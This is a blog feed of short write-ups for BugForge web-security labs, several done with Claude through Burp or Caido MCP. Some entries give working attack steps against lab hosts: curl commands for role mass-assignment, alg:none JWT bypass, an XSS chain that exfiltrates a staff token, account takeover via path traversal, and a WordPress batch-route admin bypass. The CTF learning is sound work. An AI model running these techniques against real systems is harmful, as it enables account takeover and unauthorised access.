BugForge on johnmatrix

Cheesy Does It

Tue, 28 Jul 2026 15:23:43 +0100

Welcome to today’s tasty lab!
I have ordered a lot of pizzas doing this !!!

Enumeration

As usual we can play around the page and check functionality
We can make a simple order and check how it works in Burp

Cheesy Does It - Broken Logic

Tue, 28 Jul 2026 15:23:43 +0100

Today’s lab made me want to have more pizzas!
With this rate, and the broken logic today, I will have enough dough (you get it?) to invest in a private coach :)

Cheesy Does It - XSS

Tue, 28 Jul 2026 15:23:43 +0100

Third time visiting Cheesy Does It and today was a completely different beast
I went down several rabbit holes before landing the flag - documenting those here because they’re quite instructive

Reconnaissance

SPA detected, 32 API endpoints extracted from the JS bundle
Source map probe returned HTML (fake/disabled), so no raw source files available
Beautified the main JS bundle and started reading

Endpoints Discovered

POST /api/register              - Create account
POST /api/login                 - Login (returns JWT)
GET  /api/verify-token          - Verify JWT, returns user object
PUT  /api/profile               - Update profile
GET  /api/menu/pizzas           - Menu
POST /api/payment/validate      - Card validation
POST /api/payment/process       - Process payment
POST /api/orders                - Place order
GET  /api/orders/:id            - View order
POST /api/tickets               - Create support ticket
GET  /api/tickets               - List my tickets
GET  /api/tickets/:id           - View ticket + replies
POST /api/tickets/:id/replies   - Reply to ticket
GET  /api/rewards               - Loyalty points
GET  /api/admin/tickets         - Admin: list all tickets
GET  /api/admin/users           - Admin: list users
GET  /api/admin/coupons         - Admin: coupons
GET  /api/admin/stats           - Admin: dashboard stats
GET  /api/admin/flag            - Admin: flag endpoint

JS Analysis - The Critical Finding

Searching the beautified JS for dangerous patterns:

Copy Pasta - Broken Access

Tue, 28 Jul 2026 15:23:43 +0100

Welcome to today’s challenge
I have decided to fully run it through Claude MCP within Burp.
Since I have recently fallen in love with how Claude Code works and behaves as well as what it can offer compared to Codex, I felt it would be fitting to test it out

Copy Pasta - SQLi

Tue, 28 Jul 2026 15:23:43 +0100

Full send today - Claude is having a crack at this!

We are going for it.
I directed Claude to check for most common vulnerabilities first

SQLi

CopyPasta

Tue, 28 Jul 2026 15:23:43 +0100

Today’s challenge: Broken Access Control

Enumeration

We can register as usual
As normal, we can click around the page to find more of the functionality

FurHire - CSPT to ATO + 2FA Bypass

Tue, 28 Jul 2026 15:23:43 +0100

The “is CSPT real impact?” challenge - chain a Client-Side Path Traversal into account takeover, then walk through a prototype-pollution 2FA bypass to land on the flag
Three primitives stitched together. None of them critical alone. Together they grant full ATO of a recruiter account
This is the kind of chain that makes CSPT writeups in real bug bounty: GET-only-feeling primitive that quietly turns into a state-changing PUT once you find the right page

TL;DR

support ticket -> bot visits /invite?...&inviteId=../../../account?email=ATTACKER&action=accept
                  -> bot's browser fires PUT /api/account?email=ATTACKER (CSPT)
                  -> bot's email becomes ATTACKER@labs-app.bugforge.io
                  -> trigger /api/account/recover for ATTACKER email
                  -> read reset token from /api/emails (mail catcher)
                  -> reset password
                  -> login with email-as-username
                  -> 2FA: send code:"__proto__" -> bypassed via prototype-chain walk
                  -> JWT in response -> flag

Recon

FurHire is a pet job board. Express SSR with inline <script> blocks per page, JWTs in localStorage, Socket.io for live notifications. Two roles: user (job seeker) and recruiter (posts jobs).

FurHire - Open Redirect + CSPT to XSS + Token Replay

Tue, 28 Jul 2026 15:23:43 +0100

A second FurHire challenge, and a different chain from the CSPT-to-ATO writeup. This one is modelled on Grafana CVE-2025-4123 which is the open redirect + client-side path traversal + XSS bug and it ends with a twist most could miss.
Four primitives stitched together: an open redirect behind a slash-blocking WAF, a client-side path traversal in a plugin loader, a script-injection sink that only executes JS from the right content-type, and a stolen staff token that reveals the flag in a response header.

TL;DR

support ticket -> moderator's browser opens /apps?app=<CSPT payload>
   -> apps.js fetches /api/apps/../../../public/redirect?url=/x/..//cdn.jsdelivr.net/<repo>/manifest.json%23junk=/manifest
   -> browser normalizes the ../ -> hits the open redirect
   -> /public/redirect 302s to //cdn.jsdelivr.net/... (protocol-relative, off-origin)
   -> apps.js reads manifest.module -> <script src=jsdelivr module.js>
   -> module runs in the moderator's browser WITH their staff token
   -> module reads the token + profile, exfils via POST /api/register (same-origin, CSP-proof)
   -> attacker logs in as the exfil user, recovers the staff JWT
   -> replay the staff token against ANY endpoint -> flag is in the X-Flag RESPONSE HEADER

Recon

FurHire is a pet job board. Express SSR with inline <script> blocks, JWTs in localStorage, Socket.io for notifications, two roles (user, recruiter). The interesting surface is an “Insights Apps” feature and its “App Studio” - a plugin system that publishes a manifest + JS module to an internal content host.

FurHire - SSRF

Tue, 28 Jul 2026 15:23:43 +0100

Chains mass assignment (register as recruiter) with stored SSRF via logo_url to bypass network-based access control on an internal reporting endpoint
The trigger endpoint (/api/company/:id/logo) is undocumented - discovery requires understanding how the app consumes the stored URL

Setup

Grab your URL from the lab page (it looks like https://lab-1777969600705-poba1k.labs-app.bugforge.io/) and export it so the commands below work copy-paste:

FurHire - XSS

Tue, 28 Jul 2026 15:23:43 +0100

This one was a proper grind - multiple WAF bypasses, dead ends, and a complete pivot before finding the right path
The challenge had an “upgraded WAF” protecting against common XSS patterns, which turned it into a WAF bypass + delivery mechanism puzzle
The key lesson: finding a stored XSS payload is only half the battle – the delivery mechanism matters just as much

Enumeration

Tech Stack

Express.js backend, EJS templating, Socket.io for real-time notifications
JWT auth (HS256, no expiration, role in payload, HttpOnly cookie)
Two roles: user (job seeker) and recruiter (posts jobs)

Endpoint Discovery

POST /api/register          - No auth (username, email, full_name, password, role)
POST /api/login             - No auth
POST /api/logout            - Any
GET  /api/skills            - No auth
GET  /api/profile           - Auth required
PUT  /api/profile           - User only
PUT  /api/profile/password  - User only
PUT  /api/company           - Recruiter only
GET  /api/jobs              - Any (?search=&location=&job_type=)
POST /api/jobs              - Recruiter only
GET  /api/jobs/:id          - Any
PUT  /api/jobs/:id          - Recruiter (owner)
POST /api/jobs/:id/apply    - User only (cover_letter)
GET  /api/jobs/:id/applicants - Recruiter only
GET  /api/my-applications   - User only
GET  /api/my-jobs           - Recruiter only
GET  /api/saved-jobs        - User only
PUT  /api/applications/:id/status - Recruiter (status)
GET  /api/flag              - Admin only (403 for user/recruiter)

Users

id:4 - jeremy (user - job seeker, the bot/target)
id:5 - recruiter for "Pawsitive Ventures" (owns jobs 1-4)
id:6 - testuser1 (user - our account)
id:7 - recruiter1 (recruiter - our account)

Client-Side JavaScript Analysis

Downloaded and beautified app.js
Found escapeHtml() function that escapes & < > " ' – used on ALL page renders
Found showToast() – the ONE function that uses innerHTML without escaping:

function showToast(message, type = 'info') {
  const toast = document.createElement('div');
  toast.className = `toast ${type}`;
  toast.innerHTML = `
    <strong>${type === 'success' ? '...' : '...'}</strong>
    <span>${message}</span>
  `;
  document.body.appendChild(toast);
}

Socket.io feeds user data directly into showToast:

socket.on('new_application', (data) => {
  if (user.id === data.recruiterId) {
    showToast(data.message, 'info');
  }
});

socket.on('status_update', (data) => {
  if (user.id === data.userId) {
    showToast(data.message, 'success');
  }
});

WAF Analysis

The lab hint said FurHire “recently upgraded their WAF.” Testing every field on POST body revealed:

Galaxy Dash - File Access

Tue, 28 Jul 2026 15:23:43 +0100

Multi-tenant: every registration spins up its own organization, and invoice files are stored per-org
The bug: an organization “avatar” field accepts an absolute file path, and the file-download route trusts that path to decide ownership. Point your avatar at another org’s invoice and the access check waves you through.
Classification: Broken Access Control on private files (CVE-2026-47182 pattern - insecure direct file access via avatar processing)

Enumeration

Set the target:

Galaxy Dash - IDOR

Tue, 28 Jul 2026 15:23:43 +0100

Galaxy Dash - a Futurama-themed B2B intergalactic delivery booking platform
Multi-tenant architecture: each registration creates a separate organization
IDOR chain: information disclosure endpoint leaks cross-org booking UUIDs, then tracking endpoint returns full booking data without org validation

Enumeration

Set the target:

Galaxy Dash - Prototype Pollution

Tue, 28 Jul 2026 15:23:43 +0100

Galaxy Dash - a Futurama-themed B2B delivery booking platform

Enumeration

Set the target:

TARGET="https://lab-XXXXX.labs-app.bugforge.io"

Endpoint Extraction + Source Maps

# Grab the main JS bundle
curl -sk "$TARGET" | grep -o 'static/js/main\.[a-f0-9]*\.js'
# main.596ac5d8.js

# Download and check for source map directive
curl -sk "$TARGET/static/js/main.596ac5d8.js" | tail -1
# //# sourceMappingURL=main.596ac5d8.js.map

# Download source map and extract original source files
curl -sk "$TARGET/static/js/main.596ac5d8.js.map" | python3 -c "
import json, sys, os
m = json.load(sys.stdin)
for i, name in enumerate(m.get('sources',[])):
    if 'node_modules' not in name:
        path = '/tmp/sm/' + name.split('/')[-1]
        os.makedirs(os.path.dirname(path), exist_ok=True)
        open(path, 'w').write(m['sourcesContent'][i])
        print(f'  [+] {name}')
"

15 API endpoints
11 React components extracted
Express backend, CORS *, HS256 JWT with no expiry.

Key Source Code Signals

OrganizationSettings.js:14 - sends a dev: false field to the server:

Galaxy Dash - Template Injection

Tue, 28 Jul 2026 15:23:43 +0100

Galaxy Dash - a Futurama-themed B2B intergalactic delivery booking platform
Organizations can customise their branding via an invoice template string
The template is rendered server-side against a context that includes a hidden billing object
Referencing the whole object ({{billing}}) serialises it into the invoice and leaks a secret api_token

Enumeration

Set the target:

HackersParadise - SSRF

Tue, 28 Jul 2026 15:23:43 +0100

SSRF via a LimeWire file download feature, pivoting to an undocumented internal admin service on a different port
The lesson: when you find SSRF, enumerate ports immediately. Don’t tunnel vision on the one port you already know about.
Difficulty: Medium
Theme: 90s HackersParadise underground mall (Matrix/retro hacker aesthetic)

TL;DR

SSRF in /api/limewire/download (torrent_url field) allows fetching from internal services. URL validation only checks hostname (localhost) but doesn’t restrict ports. Port 4001 hosts an admin service with the flag at /admin/flag.txt.

MedNode - SQLi

Tue, 28 Jul 2026 15:23:43 +0100

Medical appointment platform with doctor/patient roles
SQL injection in an authenticated path parameter - Express route captures the injected payload before SQLite processes it
WAF blocks OR and ; but UNION SELECT sails through

Setup

Grab your URL from the lab page and export it:

MesaNet - HARD

Tue, 28 Jul 2026 15:23:43 +0100

The hardest BugForge challenge I’ve done. 15 sessions, hundreds of requests, and the flag was hiding behind a single top-level JSON field in the gateway request body. A masterclass in broken access control through permission source confusion.

MesaNet - WAF & SSRF

Tue, 28 Jul 2026 15:23:43 +0100

A fresh MesaNet variant that swaps the entitlements-override finale for a two-stage server-side story: get past a WAF-hardened OTP gate, then chain an SSRF through an allowlist you have to defeat by pre-normalization path traversal.

MesaNet - Weekly

Tue, 28 Jul 2026 15:23:43 +0100

This has been the hardest challenge I have yet attempted. It was incredible learning experience and also a huge addition to my Caido MCP skill!
Difficulty: Hard
Theme: Half-Life / Black Mesa Research Facility

Ottergram

Tue, 28 Jul 2026 15:23:43 +0100

Today’s lab brings us to the favourite otters :)
As usual, we can register and check the page out

Continuing my methodology, I click through everything, send messages, like and comment.
Next up, we move to Burp to inspect it all

Ottergram - BAC

Tue, 28 Jul 2026 15:23:43 +0100

Third round with the otters - this time focusing on Broken Access Control
The key lesson from this one: always test with NO authentication, not just wrong-user tokens
Used Burp Suite with Autorize extension to automate the access control discovery

Enumeration

Same app as before - React SPA + Express backend + SQLite
Registered a user, browsed around, posted a comment

Endpoint Discovery (via Burp Proxy History)

GET  /api/posts                - List posts
GET  /api/posts/{id}/comments  - List comments
POST /api/posts/{id}/comments  - Add comment (requires auth)
PUT  /api/comments/{id}        - Edit comment (requires auth... or does it?)
GET  /api/profile/{username}   - View profile
PUT  /api/profile              - Update profile
GET  /api/admin                - Admin panel (requires admin role)
POST /api/login                - Login
POST /api/register             - Register

Users

id:1 - otter_lover
id:2 - admin (role: admin)
id:3 - sea_otter_fan
id:4 - tester (me, role: user)

Autorize - Access Control Testing

Loaded the Autorize extension in Burp to passively detect authorization bypasses

Ottergram - IDOR

Tue, 28 Jul 2026 15:23:43 +0100

Weekend, relax … why not some Broken Access Control testing :)
I am letting my MCP loose today, only mentioning what to look for.
Focusing the MCP is definitely an advantage, not only to use less tokens but save time and effort, as well as upgrade the skill it has so when a future problem like this shows up, testing is much quicker and painless.

Ottergram - WebSocket IDOR

Tue, 28 Jul 2026 15:23:43 +0100

Same Ottergram social app as the other writeups - React SPA frontend, Express backend, Instagram-clone with posts, comments, likes, and direct messages.
The interesting attack surface this time is not the REST API - it is the Socket.IO real-time layer sitting right next to it.
Classic pattern: the REST endpoints are locked down, but a parallel WebSocket code path re-implements a data lookup and forgets the ownership check.

Background - Socket.IO in 30 seconds

Socket.IO is a library that wraps WebSockets with an event system. Think of it as “HTTP routes but over a persistent socket.”
socket.emit("event-name", data) = send an event to the other side (like sending a POST request).
socket.on("event-name", callback) = listen for an event from the other side (like defining a GET handler).
Authentication happens once, at connection time, via the auth option in the handshake - not on every message. A valid login token = a valid socket connection.
The key insight for this bug: Socket.IO authenticates the connection but says nothing about authorization per event. Each event handler has to do its own ownership checks - and one of them didn’t.

Enumeration

Step 1 - Extract the source map

Ottergram is a React SPA. The browser loads a minified bundle (main.*.js), and in these labs that bundle ships a source map - a file that maps minified code back to the original readable source.
To find it: open the browser DevTools -> Sources tab, or fetch the JS bundle and look at the last line for //# sourceMappingURL=main.*.js.map. Append .map to the bundle URL to download it.
Chrome DevTools auto-extracts source maps (Sources tab -> shows the src/ tree). Alternatively, download the .map file and use any source-map unpacker. Either way you get the original, readable client source code.

Step 2 - Read the client source

Two files told the whole story.

Ottergram - XSS

Tue, 28 Jul 2026 15:23:43 +0100

Today’s lab was likely the hardest for me
The XSS that was found took much longer as it was not the simple way of inserting it
I learned a lot today, understanding different approach and manually checking things I have not before

Shady Oaks - Claude Way

Tue, 28 Jul 2026 15:23:43 +0100

Session replays showing the methodology for Shady Oaks Financial.

Burp Way

Claude Code + Burp Suite MCP session replay

Caido Way

Claude Code + Caido MCP session replay

Shady Oaks Financial

Tue, 28 Jul 2026 15:23:43 +0100

Welcome to today’s lab

As usual, we can register a user
We are presented with a trading application, so might as well use it and see how it works

Shady Oaks Financial - 2

Tue, 28 Jul 2026 15:23:43 +0100

Full send with Caido MCP today to test it on a different application.
We are met with familiar page, steps away from the riches!

Enumeration

Browsing as usual to get all the history and application’s behaviour

Shady Oaks Financial - 3

Tue, 28 Jul 2026 15:23:43 +0100

Third round with Shady Oaks Financial - this time no hints, just vibes
The application is a financial trading platform with currency exchange and stock trading

Enumeration

Registered a user, got a JWT with role: "user" and 1000 EUR starting balance
Extracted all API endpoints from the JS bundle source map:

/api/register          /api/login
/api/profile           /api/verify-token
/api/currencies        /api/exchange-rates
/api/convert-currency  /api/stocks
/api/trade             /api/portfolio
/api/transactions      /api/admin/users
/api/admin/stats       /api/admin/transactions
/api/admin/stocks/:id

Testing the Surface

Admin endpoints return 403 Admin access required with user JWT, 401 without - properly locked
Mass assignment on register ("role":"admin") - server strips it, returns "role":"user"
Currency conversion and stock trading both work as expected with correct params

Parameter Discovery

Extracted from JS bundle:

POST /api/convert-currency
{"from_currency":"EUR","to_currency":"USD","amount":10}

POST /api/trade
{"stock_id":3,"shares":10,"action":"buy"}

Legit conversion: 10 EUR -> 11.22 USD at rate 1.121675
Legit trade: 10 shares of PONZI at 9.03 each = 90.30 EUR

Exploitation

Race Condition on Currency Conversion

The /api/convert-currency endpoint checks balance then deducts - classic TOCTOU
If multiple requests hit simultaneously, they all read the same 1000 EUR balance before any deduction happens

Burp Suite - Single-Packet Attack

Created 5 identical Repeater tabs with the same POST /api/convert-currency request (900 EUR each)
Selected all tabs into a Tab Group, then used the send dropdown to select “Send group in parallel”
Burp’s single-packet attack stuffs all requests into one TCP segment, hitting the server before any balance deduction completes

Sokudo

Tue, 28 Jul 2026 15:23:43 +0100

Today’s challenge is a very interesting one and new to me
Recently, I came across a very helpful addition in testing APIs
Definitely worth getting it! - https://gist.github.com/jhaddix/daba27d11fdd97d9077d610dccbe91df
- It is invaluable in testing and uncovers many hidden paths
- Super easy to save too:
  - Copy the script and save a new tab
  - Instead of URL you paste in the script, name it, and you are good to go
  - When testing, just click on it and it will take few seconds and spit out a nice page for you

javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\%27|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\%60))/g,jsRegex=/(?<=(\"|\'|\%60))(?:\/|https?:\/\/)[a-zA-Z0-9_?&=\/\-\#\.]+\.js(?:\?[^"'%60]*)?(?=(\"|\'|\%60))/g;const results=new Set;const paramMap=new Map();const jsFiles=new Set();function processContent(t,src){var e=t.matchAll(regex);for(let r of e){results.add(r[0]);var params=r[0].split('?')[1];if(params){params.split('&').forEach(param=>{var [key,]=param.split('=');if(key){if(!paramMap.has(key)){paramMap.set(key,[]);}paramMap.get(key).push(src||'Inline script or HTML');}});}}var j=t.matchAll(jsRegex);for(let r of j){jsFiles.add(r[0]);}}for(var i=0;i<scripts.length;i++){var t=scripts[i].src;if(t){jsFiles.add(t);fetch(t).then(function(t){return t.text()}).then(text=>processContent(text,t)).catch(function(t){console.log("An error occurred: ",t)});}else{processContent(scripts[i].textContent);}}var pageContent=document.documentElement.outerHTML;processContent(pageContent,'Page content');function writeResults(){var div=document.createElement("div");div.style.cssText="position:fixed;top:0;left:0;width:100%;height:100%;background:#f0f8ff;color:#333;overflow:auto;z-index:9999;padding:20px;font-family:Arial,sans-serif;";var content="<h2 style='color:#4a69bd;'>Endpoints Found: " + results.size + "</h2>";content+="<div style='display:grid;grid-template-columns:1fr 1fr;gap:10px;'>";content+=Array.from(results).map(endpoint=>{var fullUrl=endpoint.startsWith("http")?endpoint:window.location.origin+endpoint;return "<div style='background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;'>" + endpoint + "</div><div style='background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;'><a href='" + fullUrl + "' target='_blank' style='color:#4a69bd;text-decoration:none;word-break:break-all;'>" + fullUrl + "</a></div>"}).join("");content+="</div>";content+="<h2 style='color:#4a69bd;margin-top:20px;'>Parameters Found:</h2>";content+="<div style='display:grid;grid-template-columns:1fr 1fr;gap:10px;'>";paramMap.forEach((sources,param)=>{content+="<div style='background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;'>" + param + "</div><div style='background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;'>" + sources.join('<br>') + "</div>";});content+="</div>";content+="<h2 style='color:#4a69bd;margin-top:20px;'>JS Files Found: " + jsFiles.size + "</h2>";content+="<div style='display:grid;grid-template-columns:1fr;gap:10px;'>";jsFiles.forEach(file=>{var fullUrl=file.startsWith("http")?file:window.location.origin+file;content+="<div style='background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;'><a href='" + fullUrl + "' target='_blank' style='color:#4a69bd;text-decoration:none;word-break:break-all;'>" + file + "</a></div>";});content+="</div>";div.innerHTML=content;var closeBtn=document.createElement("button");closeBtn.textContent="Close";closeBtn.style.cssText="position:fixed;top:10px;right:10px;background:#4a69bd;color:white;border:none;padding:10px 20px;cursor:pointer;";closeBtn.onclick=function(){document.body.removeChild(div);};div.appendChild(closeBtn);document.body.appendChild(div)}setTimeout(writeResults,3000);})();

Enumeration

As usual, we can check the way the website works and how it behaves
It is the good old trusted typing practice

Sokudo - BAC

Tue, 28 Jul 2026 15:23:43 +0100

Here we go again!

Enumeration

Today’s challenge is on a freshly built Caido MCP server
Poividing nothing more but the history and slight direction to save some tokens

Sokudo - BAC

Tue, 28 Jul 2026 15:23:43 +0100

Hi there!
Let me take you on a journey from start to finish of Claude MCP running through the tests.
Most interesting part of it is … I have not given Claude ANY hints or ideas of where to look.

Sokudo - JWT alg:none on Legacy API

Tue, 28 Jul 2026 15:23:43 +0100

“Can you find API endpoints on a different path?”
The goal is to reach the admin panel and read the flag

The Big Idea (before we start)

The app has two versions of its API: /v2/ (the one the website actually uses) and /v1/ (a hidden older version)
Legacy APIs are gold mines because they often run older, weaker code that was never patched
In this case, the /v1/ API accepts unsigned JWTs (alg: none) while /v2/ correctly rejects them

Step 1 - Register and get a token

First, create an account so we have a valid JWT to study

curl -s https://lab-1784737541633-qosebe.labs-app.bugforge.io/v2/register \
  -H "Content-Type: application/json" \
  -d '{"username":"learner","email":"learner@x.io","password":"Pass1234!","full_name":"Learner"}'

You get back a token and a user object:

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJsZWFybmVyIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3ODQ3Mzc3NDF9.PET_ImoBnCaIzeBBHIQq4gHLS5udDzPTYmmUxInwUlE",
  "user": {"id": 4, "username": "learner", "email": "learner@x.io", "full_name": "Learner"}
}

Step 2 - Decode the JWT (understand what you hold)

A JWT is three base64 strings joined by dots: header.payload.signature
You can decode the first two parts yourself - no tools needed

echo "eyJpZCI6NCwidXNlcm5hbWUiOiJsZWFybmVyIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3ODQ3Mzc3NDF9" | base64 -d 2>/dev/null

That gives you the payload:

{"id": 4, "username": "learner", "role": "user", "iat": 1784737741}

The role: "user" is what stops us from reaching admin endpoints
The header says "alg": "HS256" - that means the server signs tokens with HMAC-SHA256 using a secret key
To forge a token we would need to know that secret… or find a way around it

Step 3 - Find the “different path” (the /v1/ API)

The website only ever calls /v2/ endpoints - you can see this in the JavaScript
But the hint says there is a different path
If there is a /v2/, there was probably a /v1/ before it
Let us probe it:

curl -s https://lab-1784737541633-qosebe.labs-app.bugforge.io/v1/verify-token \
  -H "Authorization: Bearer <your-token>"

It works! The /v1/ API is alive and accepts the same token
Now check if the admin flag endpoint exists on /v1/ too:

curl -s https://lab-1784737541633-qosebe.labs-app.bugforge.io/v1/admin/flag \
  -H "Authorization: Bearer <your-token>"

{"error": "Admin access required"}

Same 403 as /v2/ - both versions check the role
But do they check it the same way? That is the real question

Step 4 - Try the alg:none bypass on /v1/

Here is the trick: JWT has a header field called alg that tells the server how the token was signed

Tanuki

Tue, 28 Jul 2026 15:23:43 +0100

Today’s daily challenge is a straightforward one, but I used BurpSuite with MCP server to solve as it as I am trying to learn and understand the AI impact.

Tanuki - Access Control

Tue, 28 Jul 2026 15:23:43 +0100

The interesting part is that the obvious attack (just ask to change someone else’s password) is blocked server-side, and the win comes from a JavaScript-vs-SQL type-confusion bug that a single response field quietly reveals

Enumeration

Register an account and click around. JWT lands in localStorage, the app calls a JSON API under /api/
React production builds ship a source map. Pull it and read the real source - this is the fastest way to map every endpoint and see how auth is enforced

Grab the bundle and its map

# the HTML references /static/js/main.<hash>.js which declares its .map
curl -s https://<lab-host>/static/js/main.ee88be32.js.map -o main.js.map

# extract the original sources out of sourcesContent
python3 - <<'PY'
import json, os, re
m = json.load(open('main.js.map'))
for src, content in zip(m['sources'], m['sourcesContent']):
    if not content or 'node_modules' in src: continue
    path = os.path.join('src', re.sub(r'^webpack://[^/]*/', '', src).lstrip('./'))
    os.makedirs(os.path.dirname(path), exist_ok=True)
    open(path, 'w').write(content)
print("done")
PY

Endpoints (from the extracted components + the axios calls)

POST /api/register                 - open registration, returns JWT
POST /api/login                    - returns JWT
GET  /api/verify-token             - whoami
POST /api/profile/change-password  - body {username, newPassword}   <-- note: no current password
GET  /api/community                - public decks (leaks contributor usernames)
GET  /api/admin/users              - admin only
POST /api/forgot-password          - body {email}
POST /api/reset-password           - body {token, password}

Users

id:1 - admin (role: admin)   <-- target
id:N - <your registered user>

The standout is POST /api/profile/change-password. Here is what the frontend (Settings.js) actually sends:

// Settings.js
const response = await axios.post('/api/profile/change-password', {
  username: user.username,   // identity comes from the CLIENT, not the server's token
  newPassword,
});

Two things jump out: the target username is taken from the request body, and there is no current-password field. If the server trusts that body value, you could set anyone’s password. That is the thread to pull.

Mapping the server’s checks

First, set a baseline: register a user and get a token

POST /api/register HTTP/1.1
Host: <lab-host>
Content-Type: application/json

{"username":"pwn_zk1","email":"pwn_zk1@test.local","password":"Pwn3dPass!23","full_name":"zk one"}

Response: 200 with a JWT for id:4, username: pwn_zk1. The token has no role claim - role is decided server-side.

Tanuki - IDOR

Tue, 28 Jul 2026 15:23:43 +0100

Very cool lab today!
I started getting more comfortable recently in ways of testing, so now more often I will create two users just to make sure I test for multiple different things

Enumeration

Created tester1 and tester2, then clicked around to understand the application

Tanuki - Mass Assign

Tue, 28 Jul 2026 15:23:43 +0100

Tanuki - SRS Flash Cards
Vulnerability: Mass Assignment + Broken Access Control on Stats endpoint

Enumeration

I will showcase two ways as my first approach was different to another user’s who submitted the flag first
After registering and browsing the app through Caido proxy, I extracted all API routes from the JS bundle:

# Set your lab URL
TARGET="https://lab-XXXXX.labs-app.bugforge.io"

curl -sk -o /tmp/app.js "$TARGET/static/js/main.22728e1f.js"
grep -o '"/api/[^"]*"' /tmp/app.js | sort | uniq

"/api/admin/cards"
"/api/admin/decks"
"/api/admin/flag"      <-- interesting
"/api/admin/users"
"/api/decks"
"/api/login"
"/api/register"
"/api/stats"
"/api/study/progress"
"/api/study/session"
"/api/study/sessions"
"/api/verify-token"

Path 1: Mass Assignment on Registration (Privilege Escalation)

The registration request seen in Caido proxy sends a role field from the client:

{"username":"tester","email":"test@test.com","password":"pass123","full_name":"","role":"user"}

The server blindly accepts whatever role you pass.
Register with role: "admin":

curl -sk -X POST "$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","email":"h@test.com","password":"pass123","full_name":"","role":"admin"}'

Response confirms admin role assigned:

{
  "token": "eyJhbG...",
  "user": {
    "id": 5,
    "username": "hacker",
    "email": "h@test.com",
    "full_name": "",
    "role": "admin"
  }
}

Use the admin JWT from the response to hit the flag endpoint:

# Copy the token from the register response above
ADMIN_TOKEN="eyJhbG..."

curl -sk -H "Authorization: Bearer $ADMIN_TOKEN" "$TARGET/api/admin/flag"

{"flag":"bug{IZB0b08mytMDc418n4wzsjCR2JGyNSIl}"}

A regular user gets blocked:

{"error":"Admin access required"}

Path 2: PUT /api/stats (No Admin Needed)

The /api/stats endpoint accepts PUT requests and leaks the flag in the response.
This works with any authenticated user - no privilege escalation required

# Any valid JWT works here - grab it from /api/register or /api/login response
USER_TOKEN="eyJhbG..."

curl -sk -X PUT "$TARGET/api/stats" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{}'

{
  "message": "Stats updated successfully",
  "stats": {},
  "flag": "bug{IZB0b08mytMDc418n4wzsjCR2JGyNSIl}"
}

This is a hidden HTTP method vulnerability - the app only uses GET /api/stats in the frontend, but the backend also accepts PUT and returns the flag in the response body.

Summary

Path	Technique	Admin Required	Requests
1	Mass assignment on `/api/register` + `/api/admin/flag`	Yes (self-assigned)	2
2	`PUT /api/stats` with any auth token	No	1

Root causes:

Tanuki - Stats IDOR

Tue, 28 Jul 2026 15:23:43 +0100

Hint said “WebSockets are fun” but the actual vuln was a stats IDOR – the hint was wrong for this instance
Socket.io was bundled in the client JS as dead code (no component uses it, no server endpoint exists)
Flag was in GET /api/stats/1 – one request after reading source maps

Step 1 – Open the Lab

Navigate to the BugForge lab URL (Tanuki – SRS Flash Cards app)
Note the base URL, e.g. https://lab-XXXX.labs-app.bugforge.io

Step 2 – Source Maps

Open browser DevTools -> Sources, or fetch the JS bundle directly
The app ships with source maps exposed at /static/js/main.XXXXX.js.map

# Grab the main page to find the JS bundle filename
curl -sk https://TARGET/ | grep -oP 'src="/static/js/[^"]+'
# Output: src="/static/js/main.3b4ae99e.js"

# Fetch the source map
curl -sk https://TARGET/static/js/main.3b4ae99e.js.map -o sourcemap.json

The source map contains the original React component source code
The key file is UserStats.js which contains this line:

const response = await axios.get(`/api/stats/${user.id}`);

This tells us the stats endpoint takes a user ID in the URL path – classic IDOR pattern

Step 3 – Register a User

curl -sk https://TARGET/api/register -H "Content-Type: application/json" -d '{"username":"testuser1","email":"test1@test.com","password":"Password123","full_name":"Test User"}'

Response:

Tanuki - XXE

Tue, 28 Jul 2026 15:23:43 +0100

Enumeration

Usual, register and play around
We can see there is an option of upload
When downloading the Sample Desk, I researched and found and that it is very much a must to test for XML upload, which then in turn made me think of XXE

Vaultly - Middleware Bypass

Tue, 28 Jul 2026 15:23:43 +0100

Vaultly - a multi-tenant secure document vault for teams (Next.js 14.2.24 App Router)
CVE-2025-29927: the x-middleware-subrequest header makes Next.js skip middleware entirely, defeating the auth gate on the /admin HQ console and leaking the master recovery key

Enumeration

Set the target:

Vaultly - Prototype Pollution

Tue, 28 Jul 2026 15:23:43 +0100

Vaultly - a multi-tenant secure document vault for teams (Next.js 14 + Express backend)
Two-stage PP chain: bypass scope allowlist, then pollute publicProjection to expose all tenants’ files anonymously

Enumeration

Set the target:

WordMess - wp2shell Batch Route Confusion

Tue, 28 Jul 2026 15:23:43 +0100

A WordPress clone behind a proof-of-work anti-bot, with a plugin install endpoint locked behind admin
The chain of two WordPress core CVEs disclosed in July 2026
Two layers, both pre-auth. The flag comes back in the body of a 201 from an endpoint that returns 401 to a direct request

TL;DR

[1] GET /forgeflare/challenge   -> JSON with {n, difficulty:16, token, to}
    solve: find nonce where sha256(n + ':' + nonce) has >= 16 leading zero bits
    POST /forgeflare/verify      -> Set-Cookie: forgeflare_clearance (60s TTL)

[2] POST /wp-json/batch/v1 with 3 sub-requests:
      [0] {"method":"POST","path":"///"}                          <- primer (malformed, shifts handlers +1)
      [1] {"method":"POST","path":"/wp/v2/plugins","body":{"slug":"test","hook":"init"}}
      [2] {"method":"GET","path":"/wp/v2/posts"}                   <- filler

    Response [1] = 201 {"plugin":"test","installed":true,"flag":"bug{...}"}
    Direct POST /wp/v2/plugins = 401 (admin required). The batch desync bypassed it.

The Setting

WordMess is a Node/Express clone of WordPress running behind “Forgeflare”, a Cloudflare-style anti-bot layer. The REST API is the attack surface: